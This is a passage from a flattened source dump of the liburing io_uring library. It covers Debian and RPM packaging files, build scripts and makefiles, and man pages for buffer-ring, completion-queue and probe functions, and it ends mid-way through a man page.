lib/*/lib*.so.* 2 | -------------------------------------------------------------------------------- /liburing/debian/liburing1.symbols: -------------------------------------------------------------------------------- 1 | liburing.so.1 liburing1 #MINVER# 2 | (symver)LIBURING_0.1 0.1-1 3 | io_uring_get_sqe@LIBURING_0.1 0.1-1 4 | io_uring_queue_exit@LIBURING_0.1 0.1-1 5 | io_uring_queue_init@LIBURING_0.1 0.1-1 6 | io_uring_queue_mmap@LIBURING_0.1 0.1-1 7 | io_uring_register_buffers@LIBURING_0.1 0.1-1 8 | io_uring_register_eventfd@LIBURING_0.1 0.1-1 9 | io_uring_register_eventfd_async@LIBURING_0.6 0.6-1 10 | io_uring_register_files@LIBURING_0.1 0.1-1 11 | io_uring_submit@LIBURING_0.1 0.1-1 12 | io_uring_submit_and_wait@LIBURING_0.1 0.1-1 13 | io_uring_unregister_buffers@LIBURING_0.1 0.1-1 14 | io_uring_unregister_files@LIBURING_0.1 0.1-1 15 | (symver)LIBURING_0.2 0.2-1 16 | __io_uring_get_cqe@LIBURING_0.2 0.2-1 17 | io_uring_queue_init_params@LIBURING_0.2 0.2-1 18 | io_uring_register_files_update@LIBURING_0.2 0.2-1 19 | io_uring_peek_batch_cqe@LIBURING_0.2 0.2-1 20 | io_uring_wait_cqe_timeout@LIBURING_0.2 0.2-1 21 | io_uring_wait_cqes@LIBURING_0.2 0.2-1 22 | (symver)LIBURING_0.3 0.3-1 23 | (symver)LIBURING_0.4 0.4-1 24 | (symver)LIBURING_0.5 0.5-1 25 | (symver)LIBURING_0.6 0.6-1 26 | (symver)LIBURING_0.7 0.7-1 27 | io_uring_get_probe@LIBURING_0.4 0.4-1 28 | io_uring_get_probe_ring@LIBURING_0.4 0.4-1 29 | io_uring_register_personality@LIBURING_0.4 0.4-1 30 | io_uring_register_probe@LIBURING_0.4 0.4-1 31 | io_uring_ring_dontfork@LIBURING_0.4 0.4-1 32 | io_uring_unregister_personality@LIBURING_0.4 0.4-1 33 | -------------------------------------------------------------------------------- /liburing/debian/patches/series: -------------------------------------------------------------------------------- 1 | # You must remove unused comment lines for the released package. 2 | -------------------------------------------------------------------------------- /liburing/debian/rules: -------------------------------------------------------------------------------- 1 | #!/usr/bin/make -f 2 | 3 | # Uncomment this to turn on verbose mode. 4 | #export DH_VERBOSE=1 5 | 6 | DEB_BUILD_MAINT_OPTIONS = hardening=+bindnow 7 | DEB_CFLAGS_MAINT_PREPEND = -Wall 8 | 9 | include /usr/share/dpkg/default.mk 10 | include /usr/share/dpkg/buildtools.mk 11 | 12 | export CC 13 | 14 | lib := liburing1 15 | libdbg := $(lib)-dbg 16 | libudeb := $(lib)-udeb 17 | libdev := liburing-dev 18 | 19 | build-indep: 20 | 21 | build-arch: 22 | dh_testdir 23 | 24 | $(MAKE) CPPFLAGS="$(CPPFLAGS)" CFLAGS="$(CFLAGS)" LDFLAGS="$(LDFLAGS)" 25 | 26 | build: build-indep build-arch 27 | 28 | clean: 29 | dh_testdir 30 | dh_testroot 31 | 32 | $(MAKE) clean 33 | 34 | dh_clean 35 | 36 | check-arch: build-arch 37 | dh_testdir 38 | 39 | ifeq (,$(filter nocheck,$(DEB_BUILD_OPTIONS))) 40 | $(MAKE) CPPFLAGS="$(CPPFLAGS)" CFLAGS="$(CFLAGS)" LDFLAGS="$(LDFLAGS)" \ 41 | partcheck 42 | endif 43 | 44 | install-arch: check-arch 45 | dh_testdir 46 | dh_testroot 47 | dh_clean 48 | dh_installdirs 49 | 50 | $(MAKE) install \ 51 | DESTDIR=$(CURDIR)/debian/tmp \ 52 | libdir=/lib/$(DEB_HOST_MULTIARCH) \ 53 | libdevdir=/usr/lib/$(DEB_HOST_MULTIARCH) \ 54 | relativelibdir=/lib/$(DEB_HOST_MULTIARCH)/ 55 | 56 | binary: binary-indep binary-arch 57 | 58 | binary-indep: 59 | # Nothing to do. 60 | 61 | binary-arch: install-arch 62 | dh_testdir 63 | dh_testroot 64 | dh_install -a 65 | dh_installdocs -a 66 | dh_installexamples -a 67 | dh_installman -a 68 | dh_lintian -a 69 | dh_link -a 70 | dh_strip -a --ddeb-migration='$(libdbg) (<< 0.3)' 71 | dh_compress -a 72 | dh_fixperms -a 73 | dh_makeshlibs -a --add-udeb '$(libudeb)' 74 | dh_shlibdeps -a 75 | dh_installdeb -a 76 | dh_gencontrol -a 77 | dh_md5sums -a 78 | dh_builddeb -a 79 | 80 | .PHONY: clean build-indep build-arch build 81 | .PHONY: install-arch binary-indep binary-arch binary 82 | -------------------------------------------------------------------------------- /liburing/debian/source/format: -------------------------------------------------------------------------------- 1 | 3.0 (quilt) 2 | -------------------------------------------------------------------------------- /liburing/debian/source/local-options: -------------------------------------------------------------------------------- 1 | #abort-on-upstream-changes 2 | #unapply-patches 3 | -------------------------------------------------------------------------------- /liburing/debian/source/options: -------------------------------------------------------------------------------- 1 | extend-diff-ignore = "(^|/)(config\.log|config-host\.h|config-host\.mak|liburing\.pc)$" 2 | -------------------------------------------------------------------------------- /liburing/debian/watch: -------------------------------------------------------------------------------- 1 | # Site Directory Pattern Version Script 2 | version=4 3 | https://git.kernel.dk/cgit/liburing/ snapshot\/liburing-([\d\.]+)\.tar\.(?:gz|xz) debian uupdate 4 | -------------------------------------------------------------------------------- /liburing/examples/Makefile: -------------------------------------------------------------------------------- 1 | CPPFLAGS ?= 2 | override CPPFLAGS += -D_GNU_SOURCE -I../src/include/ 3 | CFLAGS ?= -g -O2 -Wall 4 | LDFLAGS ?= 5 | override LDFLAGS += -L../src/ -luring 6 | 7 | include ../Makefile.quiet 8 | 9 | ifneq ($(MAKECMDGOALS),clean) 10 | include ../config-host.mak 11 | endif 12 | 13 | example_srcs := \ 14 | io_uring-cp.c \ 15 | io_uring-test.c \ 16 | link-cp.c 17 | 18 | all_targets := 19 | 20 | 21 | ifdef CONFIG_HAVE_UCONTEXT 22 | example_srcs += ucontext-cp.c 23 | endif 24 | all_targets += ucontext-cp 25 | 26 | example_targets := $(patsubst %.c,%,$(patsubst %.cc,%,$(example_srcs))) 27 | all_targets += $(example_targets) 28 | 29 | 30 | all: $(example_targets) 31 | 32 | %: %.c ../src/liburing.a 33 | $(QUIET_CC)$(CC) $(CPPFLAGS) $(CFLAGS) -o $@ $< $(LDFLAGS) 34 | 35 | clean: 36 | @rm -f $(all_targets) 37 | 38 | .PHONY: all clean 39 | -------------------------------------------------------------------------------- /liburing/liburing.pc.in: -------------------------------------------------------------------------------- 1 | prefix=@prefix@ 2 | exec_prefix=${prefix} 3 | libdir=@libdir@ 4 | includedir=@includedir@ 5 | 6 | Name: @NAME@ 7 | Version: @VERSION@ 8 | Description: io_uring library 9 | URL: http://git.kernel.dk/cgit/liburing/ 10 | 11 | Libs: -L${libdir} -luring 12 | Cflags: -I${includedir} 13 | -------------------------------------------------------------------------------- /liburing/liburing.spec: -------------------------------------------------------------------------------- 1 | Name: liburing 2 | Version: 2.2 3 | Release: 1%{?dist} 4 | Summary: Linux-native io_uring I/O access library 5 | License: (GPLv2 with exceptions and LGPLv2+) or MIT 6 | Source0: https://brick.kernel.dk/snaps/%{name}-%{version}.tar.gz 7 | Source1: https://brick.kernel.dk/snaps/%{name}-%{version}.tar.gz.asc 8 | URL: https://git.kernel.dk/cgit/liburing/ 9 | BuildRequires: gcc 10 | BuildRequires: make 11 | 12 | %description 13 | Provides native async IO for the Linux kernel, in a fast and efficient 14 | manner, for both buffered and O_DIRECT. 15 | 16 | %package devel 17 | Summary: Development files for Linux-native io_uring I/O access library 18 | Requires: %{name}%{_isa} = %{version}-%{release} 19 | Requires: pkgconfig 20 | 21 | %description devel 22 | This package provides header files to include and libraries to link with 23 | for the Linux-native io_uring. 24 | 25 | %prep 26 | %autosetup 27 | 28 | %build 29 | %set_build_flags 30 | ./configure --prefix=%{_prefix} --libdir=/%{_libdir} --libdevdir=/%{_libdir} --mandir=%{_mandir} --includedir=%{_includedir} 31 | 32 | %make_build 33 | 34 | %install 35 | %make_install 36 | 37 | %files 38 | %attr(0755,root,root) %{_libdir}/liburing.so.* 39 | %license COPYING 40 | 41 | %files devel 42 | %{_includedir}/liburing/ 43 | %{_includedir}/liburing.h 44 | %{_libdir}/liburing.so 45 | %exclude %{_libdir}/liburing.a 46 | %{_libdir}/pkgconfig/* 47 | %{_mandir}/man2/* 48 | %{_mandir}/man3/* 49 | %{_mandir}/man7/* 50 | 51 | %changelog 52 | * Thu Oct 31 2019 Jeff Moyer - 0.2-1 53 | - Add io_uring_cq_ready() 54 | - Add io_uring_peek_batch_cqe() 55 | - Add io_uring_prep_accept() 56 | - Add io_uring_prep_{recv,send}msg() 57 | - Add io_uring_prep_timeout_remove() 58 | - Add io_uring_queue_init_params() 59 | - Add io_uring_register_files_update() 60 | - Add io_uring_sq_space_left() 61 | - Add io_uring_wait_cqe_timeout() 62 | - Add io_uring_wait_cqes() 63 | - Add io_uring_wait_cqes_timeout() 64 | 65 | * Tue Jan 8 2019 Jens Axboe - 0.1 66 | - Initial version 67 | -------------------------------------------------------------------------------- /liburing/make-debs.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Copyright (C) 2019 Liu Changcheng 3 | # Author: Liu Changcheng 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | # 18 | set -xe 19 | 20 | # Create dir for build 21 | base=${1:-/tmp/release} 22 | codename=$(lsb_release -sc) 23 | releasedir=$base/$(lsb_release -si)/liburing 24 | rm -rf $releasedir 25 | mkdir -p $releasedir 26 | 27 | src_dir=$(readlink -e `basename $0`) 28 | liburing_dir=$(dirname $src_dir) 29 | basename=$(basename $liburing_dir) 30 | dirname=$(dirname $liburing_dir) 31 | version=$(git describe --match "lib*" | cut -d '-' -f 2) 32 | outfile="liburing-$version" 33 | orgfile=$(echo $outfile | tr '-' '_') 34 | 35 | # Prepare source code 36 | cp -arf ${dirname}/${basename} ${releasedir}/${outfile} 37 | cd ${releasedir}/${outfile} 38 | git clean -dxf 39 | 40 | # Change changelog if it's needed 41 | cur_ver=`head -l debian/changelog | sed -n -e 's/.* (\(.*\)) .*/\1/p'` 42 | if [ "$cur_ver" != "$version-1" ]; then 43 | dch -D $codename --force-distribution -b -v "$version-1" "new version" 44 | fi 45 | 46 | # Create tar archieve 47 | cd ../ 48 | tar cvzf ${outfile}.tar.gz ${outfile} 49 | ln -s ${outfile}.tar.gz ${orgfile}.orig.tar.gz 50 | 51 | # Build debian package 52 | cd - 53 | debuild 54 | -------------------------------------------------------------------------------- /liburing/man/io_uring_buf_ring_add.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_buf_ring_add 3 "May 18, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_buf_ring_add \- add buffers to a shared buffer ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_buf_ring_add(struct io_uring_buf_ring *" br ", 13 | .BI " void *" addr ", 14 | .BI " unsigned int " len ", 15 | .BI " unsigned short " bid ", 16 | .BI " int " mask ", 17 | .BI " int " buf_offset ");" 18 | .fi 19 | .SH DESCRIPTION 20 | .PP 21 | The 22 | .BR io_uring_buf_ring_add (3) 23 | adds a new buffer to the shared buffer ring 24 | .IR br . 25 | The buffer address is indicated by 26 | .I addr 27 | and is of 28 | .I len 29 | bytes of length. 30 | .I bid 31 | is the buffer ID, which will be returned in the CQE. 32 | .I mask 33 | is the size mask of the ring, available from 34 | .BR io_uring_buf_ring_mask (3) . 35 | .I buf_offset 36 | is the offset to insert at from the current tail. If just one buffer is provided 37 | before the ring tail is committed with 38 | .BR io_uring_buf_ring_advance (3) 39 | or 40 | .BR io_uring_buf_ring_cq_advance (3), 41 | then 42 | .I buf_offset 43 | should be 0. If buffers are provided in a loop before being committed, the 44 | .I buf_offset 45 | must be incremented by one for each buffer added. 46 | 47 | .SH RETURN VALUE 48 | None 49 | .SH SEE ALSO 50 | .BR io_uring_register_buf_ring (3), 51 | .BR io_uring_buf_ring_mask (3), 52 | .BR io_uring_buf_ring_advance (3), 53 | .BR io_uring_buf_ring_cq_advance (3) 54 | -------------------------------------------------------------------------------- /liburing/man/io_uring_buf_ring_advance.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_buf_ring_advance 3 "May 18, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_buf_ring_advance \- advance index of provided buffer in buffer ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_buf_ring_advance(struct io_uring_buf_ring *" br ", 13 | .BI " int " count ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The 18 | .BR io_uring_buf_ring_advance (3) 19 | commits 20 | .I count 21 | previously added buffers to the shared buffer ring 22 | .IR br , 23 | making them visible to the kernel and hence consumable. This passes ownership 24 | of the buffer to the ring. 25 | 26 | .SH RETURN VALUE 27 | None 28 | .SH SEE ALSO 29 | .BR io_uring_register_buf_ring (3), 30 | .BR io_uring_buf_ring_add (3), 31 | .BR io_uring_buf_ring_cq_advance (3) 32 | -------------------------------------------------------------------------------- /liburing/man/io_uring_buf_ring_cq_advance.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_buf_ring_cq_advance 3 "May 18, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_buf_ring_cq_advance \- advance index of provided buffer and CQ ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_buf_ring_cq_advance(struct io_uring *" ring ", 13 | .BI " struct io_uring_buf_ring *" br ", 14 | .BI " int " count ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_buf_ring_cq_advance (3) 20 | commits 21 | .I count 22 | previously added buffers to the shared buffer ring 23 | .IR br , 24 | making them visible to the kernel and hence consumable. This passes ownership 25 | of the buffer to the ring. At the same time, it advances the CQ ring of 26 | .I ring 27 | by 28 | .I count 29 | amount. This effectively bundles both a 30 | .BR io_uring_buf_ring_advance (3) 31 | call and a 32 | .BR io_uring_cq_avance (3) 33 | into one operation. Since updating either ring index entails a store memory 34 | barrier, doing both at once is more efficient. 35 | 36 | .SH RETURN VALUE 37 | None 38 | .SH SEE ALSO 39 | .BR io_uring_register_buf_ring (3), 40 | .BR io_uring_buf_ring_add (3), 41 | .BR io_uring_buf_ring_advance (3) 42 | -------------------------------------------------------------------------------- /liburing/man/io_uring_buf_ring_init.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Dylan Yudaken 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_buf_ring_init 3 "June 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_buf_ring_init \- Initialise a buffer ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_buf_ring_init(struct io_uring_buf_ring *" br ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | .BR io_uring_buf_ring_init (3) 17 | initialises 18 | .IR br 19 | so that it is ready to be used. It may be called after 20 | .BR io_uring_register_buf_ring (3) 21 | but must be called before the buffer ring is used in any other way. 22 | 23 | .SH RETURN VALUE 24 | None 25 | 26 | .SH SEE ALSO 27 | .BR io_uring_register_buf_ring (3), 28 | .BR io_uring_buf_ring_add (3) 29 | .BR io_uring_buf_ring_advance (3), 30 | .BR io_uring_buf_ring_cq_advance (3) 31 | -------------------------------------------------------------------------------- /liburing/man/io_uring_buf_ring_mask.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Dylan Yudaken 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_buf_ring_mask 3 "June 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_buf_ring_mask \- Calculate buffer ring mask size 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_buf_ring_mask(__u32 " ring_entries ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | .BR io_uring_buf_ring_mask (3) 17 | calculates the appropriate size mask for a buffer ring. 18 | .IR ring_entries 19 | is the ring entries as specified in 20 | .BR io_uring_register_buf_ring (3) . 21 | 22 | .SH RETURN VALUE 23 | Size mask for the buffer ring. 24 | 25 | .SH SEE ALSO 26 | .BR io_uring_register_buf_ring (3), 27 | .BR io_uring_buf_ring_add (3) 28 | -------------------------------------------------------------------------------- /liburing/man/io_uring_cq_advance.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_cq_advance 3 "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_cq_advance \- mark one or more io_uring completion events as consumed 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_cq_advance(struct io_uring *" ring "," 13 | .BI " unsigned " nr ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The 18 | .BR io_uring_cq_advance (3) 19 | function marks 20 | .I nr 21 | IO completions belonging to the 22 | .I ring 23 | param as consumed. 24 | 25 | After the caller has submitted a request with 26 | .BR io_uring_submit (3), 27 | the application can retrieve the completion with 28 | .BR io_uring_wait_cqe (3), 29 | .BR io_uring_peek_cqe (3), 30 | or any of the other CQE retrieval helpers, and mark it as consumed with 31 | .BR io_uring_cqe_seen (3). 32 | 33 | The function 34 | .BR io_uring_cqe_seen (3) 35 | calls the function 36 | .BR io_uring_cq_advance (3). 37 | 38 | Completions must be marked as seen, so their slot can get reused. Failure to do 39 | so will result in the same completion being returned on the next invocation. 40 | 41 | .SH RETURN VALUE 42 | None 43 | .SH SEE ALSO 44 | .BR io_uring_submit (3), 45 | .BR io_uring_wait_cqe (3), 46 | .BR io_uring_peek_cqe (3), 47 | .BR io_uring_wait_cqes (3), 48 | .BR io_uring_wait_cqe_timeout (3), 49 | .BR io_uring_cqe_seen (3) 50 | -------------------------------------------------------------------------------- /liburing/man/io_uring_cq_ready.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_cq_ready "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_cq_ready \- returns number of unconsumed ready entries in the CQ ring 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "unsigned io_uring_cq_ready(const struct io_uring *" ring ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The 17 | .BR io_uring_cq_ready (3) 18 | function retuns the number of unconsumed entries that are ready belonging to the 19 | .I ring 20 | param. 21 | 22 | .SH RETURN VALUE 23 | Returns the number of unconsumed ready entries in the CQ ring. 24 | .SH SEE ALSO 25 | .BR io_uring_submit (3), 26 | .BR io_uring_wait_cqe (3) 27 | -------------------------------------------------------------------------------- /liburing/man/io_uring_cqe_get_data.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_cqe_get_data 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_cqe_get_data \- get user data for completion event 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void *io_uring_cqe_get_data(struct io_uring_cqe *" cqe ");" 13 | .BI " 14 | .BI "__u64 io_uring_cqe_get_data64(struct io_uring_cqe *" cqe ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_cqe_get_data (3) 20 | function returns the user_data with the completion queue entry 21 | .IR cqe 22 | as a data pointer. 23 | 24 | The 25 | .BR io_uring_cqe_get_data64 (3) 26 | function returns the user_data with the completion queue entry 27 | .IR cqe 28 | as a 64-bit data value. 29 | 30 | After the caller has received a completion queue entry (CQE) with 31 | .BR io_uring_wait_cqe (3), 32 | the application can call 33 | .BR io_uring_cqe_get_data (3) 34 | or 35 | .BR io_uring_cqe_get_data64 (3) 36 | function to retrieve the 37 | .I user_data 38 | value. This requires that 39 | .I user_data 40 | has been set earlier with the function 41 | .BR io_uring_sqe_set_data (3) 42 | or 43 | .BR io_uring_sqe_set_data64 (3). 44 | 45 | .SH RETURN VALUE 46 | If the 47 | .I user_data 48 | value has been set before submitting the request, it will be returned. 49 | Otherwise the functions returns NULL. 50 | .SH SEE ALSO 51 | .BR io_uring_get_sqe (3), 52 | .BR io_uring_sqe_set_data (3), 53 | .BR io_uring_sqe_submit (3) 54 | -------------------------------------------------------------------------------- /liburing/man/io_uring_cqe_get_data64.3: -------------------------------------------------------------------------------- 1 | io_uring_cqe_get_data.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_cqe_seen.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2021 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_cqe_seen 3 "November 15, 2021" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_cqe_seen \- mark io_uring completion event as consumed 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_cqe_seen(struct io_uring *" ring "," 13 | .BI " struct io_uring_cqe *" cqe ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The 18 | .BR io_uring_cqe_seen (3) 19 | function marks the IO completion 20 | .I cqe 21 | belonging to the 22 | .I ring 23 | param as consumed. 24 | 25 | After the caller has submitted a request with 26 | .BR io_uring_submit (3), 27 | the application can retrieve the completion with 28 | .BR io_uring_wait_cqe (3), 29 | .BR io_uring_peek_cqe (3), 30 | or any of the other CQE retrieval helpers, and mark it as consumed with 31 | .BR io_uring_cqe_seen (3). 32 | 33 | Completions must be marked as completed so their slot can get reused. 34 | .SH RETURN VALUE 35 | None 36 | .SH SEE ALSO 37 | .BR io_uring_submit (3), 38 | .BR io_uring_wait_cqe (3), 39 | .BR io_uring_peek_cqe (3), 40 | .BR io_uring_wait_cqes (3), 41 | .BR io_uring_wait_cqe_timeout (3), 42 | .BR io_uring_cqe_seen (3) 43 | -------------------------------------------------------------------------------- /liburing/man/io_uring_free_probe.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_free_probe "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_free_probe \- free probe instance 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_free_probe(struct io_uring_probe *" probe ");" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The function 17 | .BR io_uring_free_probe (3) 18 | frees the 19 | .I probe 20 | instance allocated with the 21 | .BR io_uring_get_probe (3) 22 | function. 23 | 24 | .SH RETURN VALUE 25 | None 26 | .SH SEE ALSO 27 | .BR io_uring_get_probe (3) 28 | -------------------------------------------------------------------------------- /liburing/man/io_uring_get_probe.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_get_probe "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_get_probe \- get probe instance 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "io_uring_probe *io_uring_get_probe(void);" 13 | .fi 14 | .SH DESCRIPTION 15 | .PP 16 | The function 17 | .BR io_uring_get_probe (3) 18 | returns an allocated io_uring_probe structure to the caller. The caller is 19 | responsible for freeing the structure with the function 20 | .BR io_uring_free_probe (3). 21 | 22 | .SH NOTES 23 | Earlier versions of the Linux kernel do not support probe. If the kernel 24 | doesn't support probe, this function will return NULL. 25 | 26 | .SH RETURN VALUE 27 | On success it returns an allocated io_uring_probe structure, otherwise 28 | it returns NULL. 29 | .SH SEE ALSO 30 | .BR io_uring_free_probe (3) 31 | -------------------------------------------------------------------------------- /liburing/man/io_uring_get_sqe.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2020 Jens Axboe 2 | .\" Copyright (C) 2020 Red Hat, Inc. 3 | .\" 4 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 5 | .\" 6 | .TH io_uring_get_sqe 3 "July 10, 2020" "liburing-0.7" "liburing Manual" 7 | .SH NAME 8 | io_uring_get_sqe \- get the next available submission queue entry from the 9 | submission queue 10 | .SH SYNOPSIS 11 | .nf 12 | .B #include 13 | .PP 14 | .BI "struct io_uring_sqe *io_uring_get_sqe(struct io_uring *" ring ");" 15 | .fi 16 | .SH DESCRIPTION 17 | .PP 18 | The 19 | .BR io_uring_get_sqe (3) 20 | function gets the next available submission queue entry from the submission 21 | queue belonging to the 22 | .I ring 23 | param. 24 | 25 | On success 26 | .BR io_uring_get_sqe (3) 27 | returns a pointer to the submission queue entry. On failure NULL is returned. 28 | 29 | If a submission queue entry is returned, it should be filled out via one of the 30 | prep functions such as 31 | .BR io_uring_prep_read (3) 32 | and submitted via 33 | .BR io_uring_submit (3). 34 | 35 | .SH RETURN VALUE 36 | .BR io_uring_get_sqe (3) 37 | returns a pointer to the next submission queue event on success and NULL on 38 | failure. If NULL is returned, the SQ ring is currently full and entries must 39 | be submitted for processing before new ones can get allocated. 40 | .SH SEE ALSO 41 | .BR io_uring_submit (3) 42 | -------------------------------------------------------------------------------- /liburing/man/io_uring_opcode_supported.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Stefan Roesch 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_opcode_supported "January 25, 2022" "liburing-2.1" "liburing Manual" 6 | .SH NAME 7 | io_uring_opcode_supported \- is op code supported? 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_opcode_supported(struct io_uring_probe *" probe "," 13 | .BI " int " opcode ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The function 18 | .BR io_uring_opcode_supported (3) 19 | allows the caller to determine if the passed in 20 | .I opcode 21 | belonging to the 22 | .I probe 23 | param is supported. An instance of the io_uring_probe instance can be 24 | obtained by calling the function 25 | .BR io_uring_get_probe (3). 26 | 27 | .SH RETURN VALUE 28 | On success it returns 1, otherwise it returns 0. 29 | .SH SEE ALSO 30 | .BR io_uring_get_probe (3) 31 | -------------------------------------------------------------------------------- /liburing/man/io_uring_peek_cqe.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_peek_cqe 3 "March 12, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_peek_cqe \- check if an io_uring completion event is available 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "int io_uring_peek_cqe(struct io_uring *" ring "," 13 | .BI " struct io_uring_cqe **" cqe_ptr ");" 14 | .fi 15 | .SH DESCRIPTION 16 | .PP 17 | The 18 | .BR io_uring_peek_cqe (3) 19 | function returns an IO completion from the queue belonging to the 20 | .I ring 21 | param, if one is readily available. On successful return, 22 | .I cqe_ptr 23 | param is filled with a valid CQE entry. 24 | 25 | This function does not enter the kernel to wait for an event, an event 26 | is only returned if it's already available in the CQ ring. 27 | 28 | .SH RETURN VALUE 29 | On success 30 | .BR io_uring_peek_cqe (3) 31 | returns 32 | .B 0 33 | and the cqe_ptr parameter is filled in. On failure it returns 34 | .BR -EAGAIN . 35 | .SH SEE ALSO 36 | .BR io_uring_submit (3), 37 | .BR io_uring_wait_cqes (3), 38 | .BR io_uring_wait_cqe (3) 39 | -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_accept_direct.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_accept.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_cancel64.3: -------------------------------------------------------------------------------- 1 | io_uring_prep_cancel.3 -------------------------------------------------------------------------------- /liburing/man/io_uring_prep_close.3: -------------------------------------------------------------------------------- 1 | .\" Copyright (C) 2022 Jens Axboe 2 | .\" 3 | .\" SPDX-License-Identifier: LGPL-2.0-or-later 4 | .\" 5 | .TH io_uring_prep_close 3 "March 13, 2022" "liburing-2.2" "liburing Manual" 6 | .SH NAME 7 | io_uring_prep_close \- prepare a file descriptor close request 8 | .SH SYNOPSIS 9 | .nf 10 | .B #include 11 | .PP 12 | .BI "void io_uring_prep_close(struct io_uring_sqe *" sqe "," 13 | .BI " int " fd 